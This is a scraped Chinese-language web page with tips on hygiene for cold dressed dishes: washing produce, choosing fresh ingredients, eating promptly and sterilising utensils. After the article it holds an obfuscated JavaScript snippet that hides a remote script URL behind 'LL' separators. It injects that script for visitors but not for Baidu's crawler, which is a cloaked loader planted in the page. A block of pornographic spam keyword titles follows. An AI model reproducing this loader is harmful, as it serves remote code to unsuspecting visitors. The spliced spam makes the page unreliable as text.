當前位置:首頁 > 飲食 > 健康飲食 > 正文

吃涼拌菜要注意哪些細節

2016-07-06 10:03:53  來源:360常識網   熱度:
導語:做涼拌菜的刀、砧板、碗、盤、抹布等,在使用之前必須清洗干凈,最好先用開水泡一泡,餐具最好還要在開水中煮5分鐘左右??傊仨毥涍^充分消毒處理后才能使用。

吃涼拌菜要注意哪些細節

吃涼拌菜要注意哪些細節

吃涼拌菜要注意哪些細節

清洗要認真

瓜果不洗凈或僅用干凈的抹布擦擦是很不衛生的,制成涼拌菜后有可能造成腸道的負擔。清洗的最好方法是用流水沖洗。所以洗菜這個步驟要認真,可以先用冷水洗,再用開水燙一下,這個方法可以殺死未洗盡的殘余細菌和寄生蟲卵。能去皮則去皮,再加工成涼拌菜,比較衛生。

有網友提供了一個小竅門,是清洗時可先用淡鹽水將蔬菜浸泡30分鐘,最大限度地減少農藥殘留,然后用流水沖洗干凈。能去皮的則去皮,有必要的話可用開水燙一下。涼拌時放點醋、蒜和姜末,既能調味,又能起到殺菌消毒的作用。

食材要講究

蔬菜水果這些素菜是制作涼菜的首選原料,由于不需要經過高溫烹制,挑選時需要注意食材的新鮮。

制作涼拌菜所用的蔬菜,必須選用新鮮的,制作時也必須沖洗干凈,最好用開水燙一下,這樣一來,大大減少了附在蔬菜上的細菌和寄生蟲卵。

最好選擇那些無公害的綠色蔬菜或有機蔬菜,包括水蘿卜、白蘿卜、番茄、黃瓜、洋蔥、柿子椒、圓白菜、白菜心等。夏季的葷涼菜,則以選擇涼性肉類為宜,例如魚、鴨子之類生活在水里面的動物。

現做要馬上吃

很多人做涼拌菜,會放入冰箱中冷藏一下,再取出食用,甚至長時間存放在冰箱里,慢慢的吃。其實這樣做不好,因為有些病菌可在冰箱冷藏室的低溫下繁殖,病菌會引起腸道疾病。因此,做涼拌菜時最好適量,現做現吃,剩余的涼拌菜不適合隔夜放了。

此外,做涼拌菜的刀、砧板、碗、盤、抹布等,在使用之前必須清洗干凈,最好先用開水泡一泡,餐具最好還要在開水中煮5分鐘左右。總之,必須經過充分消毒處理后才能使用。也可用特制的清洗劑來清洗。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲国产高清国产拍精品| 国产精品亚洲玖玖玖在线观看| 国产国拍精品亚洲AV片| 国产成人久久精品77777综合| 国产精品9999久久久久| 日韩精品一区二区三区视频 | 精品乱码一区二区三区在线| 久久久久久国产精品无码超碰| 国产成人1024精品免费| 一本色道久久88—综合亚洲精品 | 精品少妇一区二区三区视频| 色老成人精品视频在线观看| 国产精品亚洲综合五月天| 亚洲国产精品无码久久久秋霞2| 国产91精品久久久久久久| 97久久超碰成人精品网站| 久久亚洲精品中文字幕无码| 国产99久久九九精品无码 | 亚洲精品A在线观看| 999国内精品永久免费视频| 久久亚洲精品国产精品黑人| 精品人妻少妇嫩草AV无码专区| 精品剧情v国产在免费线观看| 91精品国产91久久久久久| 国产精品熟女一区二区| 9久久免费国产精品特黄| 老司机午夜精品视频在线观看免费| 亚洲精品无码永久在线观看男男| 久久精品黄AA片一区二区三区| 国语自产精品视频在线区| 精品一区二区三区高清免费观看 | 国产精品亚洲精品日韩动图| 一级一级特黄女人精品毛片视频| 99热在线精品观看| 久久精品99香蕉国产| 亚洲精品无码精品mV在线观看| 九九九国产精品成人免费视频| 国产精品亚洲а∨无码播放麻豆| 亚洲精品无码人妻无码| 99re热免费精品视频观看| 国产精品吹潮香蕉在线观看|